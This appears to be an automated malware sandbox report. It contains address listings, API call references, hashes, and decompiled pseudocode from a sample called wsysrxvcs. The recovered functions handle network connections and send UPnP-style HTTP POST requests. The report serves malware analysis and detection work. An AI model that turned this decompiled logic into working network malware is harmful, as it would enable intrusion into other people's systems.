                                                                                                                                                                                                                                                                                                                                                      0x0040f024
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f015
                                                                                                                                                                                                                                                                                                                                                      0x0040f016
                                                                                                                                                                                                                                                                                                                                                      0x0040f018
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040efe6
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efef
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff1
                                                                                                                                                                                                                                                                                                                                                      0x0040eff2
                                                                                                                                                                                                                                                                                                                                                      0x0040eff5
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040ef70
                                                                                                                                                                                                                                                                                                                                                      0x0040ef73
                                                                                                                                                                                                                                                                                                                                                      0x0040ef78
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef81
                                                                                                                                                                                                                                                                                                                                                      0x0040ef83
                                                                                                                                                                                                                                                                                                                                                      0x0040ef89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9d
                                                                                                                                                                                                                                                                                                                                                      0x0040efa6
                                                                                                                                                                                                                                                                                                                                                      0x0040efaa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efb0
                                                                                                                                                                                                                                                                                                                                                      0x0040efb3
                                                                                                                                                                                                                                                                                                                                                      0x0040efb5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efbc
                                                                                                                                                                                                                                                                                                                                                      0x0040efbe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc0
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb8
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb9
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x0040eee3
                                                                                                                                                                                                                                                                                                                                                      0x0040eee5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eef5
                                                                                                                                                                                                                                                                                                                                                      0x0040eef7
                                                                                                                                                                                                                                                                                                                                                      0x0040eef9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeff
                                                                                                                                                                                                                                                                                                                                                      0x0040ef06
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef34
                                                                                                                                                                                                                                                                                                                                                      0x0040ef36
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef41
                                                                                                                                                                                                                                                                                                                                                      0x0040ef42
                                                                                                                                                                                                                                                                                                                                                      0x0040ef44
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef08
                                                                                                                                                                                                                                                                                                                                                      0x0040ef08
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef22
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef2b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef2b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef16
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee92
                                                                                                                                                                                                                                                                                                                                                      0x0040ee95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee97
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0040EECE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: MemoryQueryVirtual
                                                                                                                                                                                                                                                                                                                                                      • String ID: 8_A$8_A$8_A
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2850889275-1072898474
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 57da26439f41a27b6f89feab48204f154193a2fa2f262da57672d5a942e405b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2561F631700606DFDB29CF2AC88066A73A5EB85354F24887BE406E76D1E739DD57C68C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E2F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040E2F0(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DE80(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E110(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E6C0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BD50() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E004094F0(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E1F0(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}




























                                                                                                                                                                                                                                                                                                                                                      0x0040e2f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e2fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e302
                                                                                                                                                                                                                                                                                                                                                      0x0040e305
                                                                                                                                                                                                                                                                                                                                                      0x0040e30f
                                                                                                                                                                                                                                                                                                                                                      0x0040e317
                                                                                                                                                                                                                                                                                                                                                      0x0040e499
                                                                                                                                                                                                                                                                                                                                                      0x0040e49f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e323
                                                                                                                                                                                                                                                                                                                                                      0x0040e329
                                                                                                                                                                                                                                                                                                                                                      0x0040e334
                                                                                                                                                                                                                                                                                                                                                      0x0040e346
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e362
                                                                                                                                                                                                                                                                                                                                                      0x0040e370
                                                                                                                                                                                                                                                                                                                                                      0x0040e378
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e38b
                                                                                                                                                                                                                                                                                                                                                      0x0040e38d
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e394
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a0
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c8
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d3
                                                                                                                                                                                                                                                                                                                                                      0x0040e41c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e422
                                                                                                                                                                                                                                                                                                                                                      0x0040e428
                                                                                                                                                                                                                                                                                                                                                      0x0040e42d
                                                                                                                                                                                                                                                                                                                                                      0x0040e471
                                                                                                                                                                                                                                                                                                                                                      0x0040e475
                                                                                                                                                                                                                                                                                                                                                      0x0040e481
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e435
                                                                                                                                                                                                                                                                                                                                                      0x0040e447
                                                                                                                                                                                                                                                                                                                                                      0x0040e449
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e455
                                                                                                                                                                                                                                                                                                                                                      0x0040e45a
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e467
                                                                                                                                                                                                                                                                                                                                                      0x0040e46d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3df
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e4
                                                                                                                                                                                                                                                                                                                                                      0x0040e40a
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3ef
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e405
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e485
                                                                                                                                                                                                                                                                                                                                                      0x0040e48b
                                                                                                                                                                                                                                                                                                                                                      0x0040e491
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E2FC
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E30F
                                                                                                                                                                                                                                                                                                                                                      • WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E329
                                                                                                                                                                                                                                                                                                                                                      • WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E346
                                                                                                                                                                                                                                                                                                                                                      • accept.WS2_32(?,?,?), ref: 0040E378
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E3C6
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E3D9
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E3FA
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E40B
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E413
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E422
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E435
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E475
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E47B
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E48B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3345448188-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 37556f47be08af308f12292838e5e31bdcc2dd91e9e04875b80b80281b3a8f4d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c6f097d7e15fade293e7d9035e678dc4fafb00e6da71ecb747a2cd9ad393f737
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 37556f47be08af308f12292838e5e31bdcc2dd91e9e04875b80b80281b3a8f4d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A641F6715002009BCB249F36DC8CB9B7BA4AF44710F148E3AFD55A72C1CB78E8A5CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CC50 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040CC50(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408A50(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040cc59
                                                                                                                                                                                                                                                                                                                                                      0x0040cc63
                                                                                                                                                                                                                                                                                                                                                      0x0040cc78
                                                                                                                                                                                                                                                                                                                                                      0x0040cc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040cc80
                                                                                                                                                                                                                                                                                                                                                      0x0040cc90
                                                                                                                                                                                                                                                                                                                                                      0x0040cc96
                                                                                                                                                                                                                                                                                                                                                      0x0040cca6
                                                                                                                                                                                                                                                                                                                                                      0x0040ccac
                                                                                                                                                                                                                                                                                                                                                      0x0040ccc8
                                                                                                                                                                                                                                                                                                                                                      0x0040cce1
                                                                                                                                                                                                                                                                                                                                                      0x0040ccee
                                                                                                                                                                                                                                                                                                                                                      0x0040cd1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cd27
                                                                                                                                                                                                                                                                                                                                                      0x0040cd50
                                                                                                                                                                                                                                                                                                                                                      0x0040cd5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cd75
                                                                                                                                                                                                                                                                                                                                                      0x0040cd7b
                                                                                                                                                                                                                                                                                                                                                      0x0040cda7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdad
                                                                                                                                                                                                                                                                                                                                                      0x0040cdb7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdd7
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ce30
                                                                                                                                                                                                                                                                                                                                                      0x0040ce35
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce8a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040CC78
                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CCC8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CCDB
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CD14
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CD4A
